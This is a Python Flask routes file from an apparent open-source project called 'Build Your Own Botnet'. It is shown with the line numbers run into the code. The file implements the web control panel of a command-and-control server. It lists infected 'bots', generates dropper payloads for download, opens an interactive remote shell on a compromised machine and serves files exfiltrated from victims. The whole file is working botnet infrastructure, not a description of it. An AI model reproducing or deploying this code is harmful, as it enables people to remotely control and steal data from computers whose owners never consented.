Path: blob/master/web-gui/buildyourownbotnet/main/routes.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2"""Routes (Build Your Own Botnet)"""34import os5import sys6import json7import shutil8from datetime import datetime910from flask import current_app, Blueprint, flash, redirect, render_template, request, url_for, send_from_directory11from flask_login import login_user, logout_user, current_user, login_required1213from buildyourownbotnet import client, c214from buildyourownbotnet.core.dao import file_dao, payload_dao, session_dao15from buildyourownbotnet.users.forms import RegistrationForm, LoginForm, UpdateAccountForm16from buildyourownbotnet.models import db, bcrypt, User, Session17from buildyourownbotnet.utils import get_sessions_serialized, get_tasks_serialized1819# Blueprint20main = Blueprint('main', __name__)2122# Globals23OUTPUT_DIR = os.path.abspath('buildyourownbotnet/output')2425# Routes26@main.route("/dashboard")27@main.route("/sessions", methods=["GET"])28@login_required29def sessions():30"""Display active/inactive sessions"""31sessions = get_sessions_serialized(current_user.id)32return render_template("sessions.html", sessions=sessions, n=len(sessions), title="Control Panel")333435@main.route("/payloads")36@login_required37def payloads():38"""Page for creating custom client scripts. Custom client scripts are generated on this page by sending user inputted values to39the '/generate' API endpoint, which writes the dropper to the user's output directory."""40payloads = payload_dao.get_user_payloads(current_user.id)41return render_template("payloads.html",42payloads=payloads,43owner=current_user.username,44title="Payloads")454647@main.route("/files")48@login_required49def files():50"""Page for displaying files exfiltrated from client machines"""51user_files = file_dao.get_user_files(current_user.id)52return render_template("files.html",53files=user_files,54owner=current_user.username,55title="Files")565758@main.route("/")59def home():60"""Home page"""61return render_template("home.html")626364@main.route("/docs")65def docs():66"""Project documentation."""67return render_template("how-it-works.html", title="How It Works")686970@main.route("/guide")71def guide():72"""Quick start guide."""73return render_template("guide.html", title="Guide")747576@main.route("/faq")77def faq():78"""FAQ page."""79return render_template("faq.html", title="FAQ")808182@main.route("/shell")83@login_required84def shell():85"""Interact with a client session. Commands entered in JQuery terminal on the front-end are sent to back to the86Python back-end via POST to the API endpoint /cmd, where it can directly87call the C2 server's send_task and recv_task methods to transmit encrypted88tasks/results via TCP connection."""89session_uid = request.args.get('session_uid')9091# validate session id is valid integer92if not session_uid:93flash("Invalid bot UID: {}".format(session_uid))94return redirect(url_for('main.sessions'))9596# get current user sessions97owner_sessions = c2.sessions.get(current_user.username)9899# check if owner has any active sessions100if not owner_sessions:101session_dao.update_session_status(session_uid, 0)102flash("You have no bots online.", "danger")103return redirect(url_for('main.sessions'))104105# check if requested session is owned by current user106if session_uid not in owner_sessions:107session_dao.update_session_status(session_uid, 0)108flash("Invalid bot UID: " + str(session_uid))109return redirect(url_for('main.sessions'))110111# get requested session112session_thread = owner_sessions.get(session_uid)113114# if session is online, authenticate user and enter shell115if session_thread:116if session_thread.info['owner'] == current_user.username:117return render_template("shell.html",118session_uid=session_uid,119info=session_thread.info,120title="Shell")121else:122flash("Bot not owned by current user.", "danger")123return redirect(url_for('main.sessions'))124125# if bot is offline, update status in database and notify user126else:127session_dao.update_session_status(session_uid, 0)128flash("Bot is offline.", "danger")129return redirect(url_for('main.sessions'))130131132@main.route("/tasks", methods=["GET"])133@login_required134def tasks():135"""Task history for a client"""136session_uid = request.args.get('session_uid')137138# get serialized task history from database139tasks = get_tasks_serialized(session_uid)140141# show task history as a table142return render_template("tasks.html",143tasks=tasks,144session_uid=session_uid,145title="Tasks")146147148#####################149#150# DOWNLOADS151#152#####################153154@main.route("/output/<user>/src/dist/<operating_system>/<filename>")155@login_required156def download_executable(user, operating_system, filename):157"""Download user generated binary executable payload."""158return send_from_directory(os.path.join(OUTPUT_DIR, user, 'src', 'dist', operating_system), filename, as_attachment=True)159160161@main.route("/output/<user>/src/<filename>")162@login_required163def download_payload(user, filename):164"""Download user generated Python payload."""165return send_from_directory(os.path.join(OUTPUT_DIR, user, 'src'), filename, as_attachment=True)166167168@main.route("/output/<user>/files/<filename>")169@login_required170def download_file(user, filename):171"""Download user exfiltrated file."""172return send_from_directory(os.path.join(OUTPUT_DIR, user, 'files'), filename, as_attachment=True)173174175